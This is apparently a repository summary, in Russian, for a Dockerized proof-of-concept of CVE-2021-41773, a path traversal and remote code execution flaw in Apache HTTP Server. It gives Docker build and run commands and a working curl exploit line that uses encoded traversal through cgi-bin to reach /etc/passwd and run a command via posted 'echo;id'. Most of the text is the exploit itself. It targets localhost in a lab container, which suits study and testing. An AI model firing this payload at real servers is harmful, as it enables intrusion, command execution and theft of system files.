vuongnv3389-sec/cve-2021-41773Dockerized proof-of-concept для обхода пути и удалённого выполнения кода (RCE) в Apache HTTP Server (CVE-2021-41773), включая инструкции по сборке и шаги эксплуатации на основе curl.
$ docker build -t cve-2021-41773 .
$ docker run --rm -d -p 80:80 cve-2021-41773
curl --data "echo;id" 'http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
Ошибка конфигурации в файле httpd.conf в сочетании с Path traversal => RCE
